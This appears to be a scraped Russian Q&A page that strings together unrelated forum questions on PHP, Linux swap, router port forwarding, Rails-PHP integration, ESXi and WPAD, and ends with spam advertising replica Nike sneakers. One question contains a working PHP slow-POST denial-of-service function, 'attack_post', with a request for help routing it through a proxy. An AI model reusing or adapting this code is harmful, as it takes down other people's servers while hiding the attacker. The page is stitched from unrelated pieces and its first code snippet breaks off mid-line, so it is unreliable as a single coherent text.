По чему не работает PHP код получения страницы по HTTP?

По чему не работает код (он пишет только «Result:» и пустота, см. hosthack.tk/?server=hostinger.ru&num=1 и вообще загружается 12 секунд):

echo 'Result:

'."\n"; $request = «GET / HTTP/1.1\r\n»; $request .= «Host: ».$_GET[server]."\r\n"; $request .= «User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n»; $page=@fsockopen($_GET[server], 80, $errno, $errstr); $text=fgets($page); $text=substr($text, 0, strripos($text, ' ')); $text=str_replace("\r\n", ' ', $text); $text=str_replace("\n", ' ', $text); $text=str_replace('

Значит ли это, что на сервере два swap файла?

VDS 2gb ram.
Сделал swap file, смотрю, а там еще partition значится…
Не значит ли это, что у меня два swap файла и один надо убрать?
Или один?

swapon -s Filename Type Size Used Priority /dev/sda2 partition 2099196 0 -1 /swapfile file 4194300 0 -2

и в fstab
# /dev/sda1 / ext3 errors=remount-ro 0 1 /dev/sda2 swap swap defaults 0 0 /swapfile swap swap defaults 0 0 proc /proc proc defaults 0 0 sysfs /sys sysfs defaults 0 0 tmpfs /dev/shm tmpfs defaults 0 0 devpts /dev/pts devpts defaults 0 0

Как в php все совершенно интернет-подключения проводить через прокси без установки программ?

Как в php интернет-подключение проводить через прокси без установки программ (например, cURL надо устанавливать — не подходит)?

Как вот этот код переделать под прокси?
function attack_post($server, $host){ $request = «POST /».md5(rand())." HTTP/1.1\r\n"; $request .= «Host: $host\r\n»; $request .= «User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n»; $request .= «Keep-Alive: 900\r\n»; $request .= «Content-Length: 1000000000\r\n»; $request .= «Content-Type: application/x-www-form-urlencoded\r\n»; $request .= «Accept: *.*\r\n»; $sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request); while (true){ if (@fwrite($sockfd, ".") !== FALSE){ echo "."; sleep(1); }else{ echo "\nOne post attack failed to sent...\n"; $sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request); } } }

Не пробрасываются порты извне через роутер. Почему они фильтруются?

Роутер (ASUS RT-N10PV2) выходит через белый ip от провайдера. Веб-интерфейс повесил на 8081 порт.
В локальной сети есть linux сервер. 80 порт nginx, 8080 порт apache, 53 порт dns.

В настройках роутерах включил forwarding данных портов.

HTTP Server 80 192.168.1.11 80 BOTH
Где 192.168.1.11 — локальный ip сервера.

Но извне всё равно выдает что порт закрыт. а 8081 открыт. До этого веб-интерфейс роутера стоял на 80ом порте и этот порт был тоже открыт.

Starting Nmap 6.47 ( nmap.org ) at 2015-05-05 02:46 Coordinated Universal Time Nmap scan report for 161.*.189.89.sta.211.ru (89.189.*.161) Host is up (0.11s latency). Not shown: 94 closed ports PORT STATE SERVICE 22/tcp filtered ssh 23/tcp open telnet 53/tcp filtered domain 80/tcp filtered http 8080/tcp filtered http-proxy 8081/tcp open blackice-icecap Nmap done: 1 IP address (1 host up) scanned in 3.29 seconds
— вывод nmap.

Почему эти порты фильтруются? Фаерволл отключен. iptables не мешает. сервер выдает что данные порты прослушиваются.
Это проделки провайдера? Но почему тогда 80ый порт был открыт, когда на нем висел интерфейс роутера.

Как совместить PHP-библиотеку и Rails-приложение?

Всем доброго времени суток.
Дано приложение на Ruby on Rails. Замечательно написанное(с моей точки зрения), прекрасно работает и т.д. В качестве веб-сервера apache + mod__rails от passenger.
Также, имеется сторонняя библиотека, написанная на PHP, которая отлично выполняет то что нужно, в конкретном случае сбор, систематизация и выгрузка данных. Если это имеет значение — это некий новостной агрегатор, которой считает количество упоминаний(город, ФИО человека, название предприятия и т.д.) по разным источникам, и на этой основе выводит какие-то коэфиценты. Заказчику они понятны, я в них не вдавался.

Rails-приложение имеет админку, свои настройки и т.д. и также требует данные из PHP-либы для своей работы. В текущем варианте PHP-либа собирает нужную информацию, затем она чем-то там оборачивается и высылает результат своей работы на мыло(есть некий длинный служебный email под все это дело). Rails-приложение раз в N минут проверяет почту и, если там есть письмо от PHP-либы, она обрабатывает эту информацию(проверка на целостность и корректность, не более) и заносит ее к себе в БД.

Как мы все видим, это костыль. Самое правильное здесь решение — взять эту самую PHP-либу и переписать бы ее под Rails, но по срокам я в dead line тогда точно не впишусь(вариант сдвинуть dead line пока не рассматриваем).

Задачу, которую я пытаюсь решить — ускорить работу приложения, т.к. данных у владельца этого решения стало больше и вся описанная выше мною структура начинает уже изрядно тормозить.

Самый логичный вывод — убрать из этой цепочки email, совместив обе части приложения на одном веб-сервере. Вот собственно тут у меня и возникают все проблемы, поскольку я вообще не представляю как это можно сделать. Гугл/Яндекс по этому запросу молчат, либо я туда что-то не то пишу.

Собственно подскажите в какую сторону вообще копать? Есть ли какие-то мануалы на эту тему или хотя бы скиньте ключевые слова для гугла, ибо я сейчас в тупике.

Как настроить локальные диски в ESXi 5.5?

Предыстория:
Приехал сервер ProLiant DL80 Gen9 778641-B21
в нём 4 SATA HDD подключенных к контроллеру HP Smart HBA H240

2 по 500 (модель MB0500GCEHE) собраны в RAID 1:
-Logical Drive 01
Status OK
Capacity 465 GB
Fault Tolerance RAID 1/RAID 1+0
Logical Drive Type Data LUN
Encryption Status Not Encrypted

2 по 4ТБ (модель MB4000GCWDC) так же собратны в RAID1:
-Logical Drive 02
Status OK
Capacity 3725 GB
Fault Tolerance RAID 1/RAID 1+0
Logical Drive Type Data LUN
Encryption Status Not Encrypted
Читать дальше

Как настроить DNS запись WPAD в Windows Server в случае нескольких сайтов AD?

Добрый день.
Имеется:
Windows Server 2012
домен example.com
территориально разделенные офисы
соответствующие им сайты в AD — foo, bar, abc
в каждом офисе присутствует прокси-сервер:
сайт сеть прокси(A) прокси(ip адрес)
foo 192.168.0.0/24 proxy-f.example.com 192.168.0.11
bar 192.168.1.0/24 proxy-b.example.com 192.168.1.11
abc 192.168.2.0/24 proxy-a.example.com 192.168.2.11
DHCP 252 — 'http://proxy-$.example.com/wpad.dat'

Собственно, нужно помимо DHCP раздавать адрес прокси с помощью DNS. В случае одного сайта просто создаем CNAME. Но что делать в случае нескольких сайтов?
UPD1. Есть вариант настройки в самом WPAD:
if (isInNet(myIpAddress(), «192.168.0.0», «255.255.255.0»)) return «PROXY proxy-f.example.com:3128»; if (isInNet(myIpAddress(), «192.168.1.0», «255.255.255.0»)) return «PROXY proxy-b.example.com:3128»; if (isInNet(myIpAddress(), «192.168.2.0», «255.255.255.0»)) return «PROXY proxy-a.example.com:3128»;
но он не устраивает тем, что в случае неполадок с VPN какой-то сайт останется без Интернета. Хотелось бы какое-то более надежное решение, чтобы именно DNS сервер отдавал нужный ip адрес.

Buy Cheap Air Force 1 Online

One of the cleanest Air Force 1 colourways around. Reps AF1 For Sale 2019 brought the Air Force 1 White Obsidian. A sneaker which can be worn with almost any outfit, the gum out-soles fitted with a crisp white upper and a eye-popping black swoosh help this shoe really stand out.
When it comes to Nike collaborations Edison Chen’s CLOT never seems to miss the mark. The Air Force 1 CLOT is drowned in luxurious silk embossed with a traditional chinese pattern. Inspired by the concept of Yin and Yang this sneaker was rumoured to be immensely limited.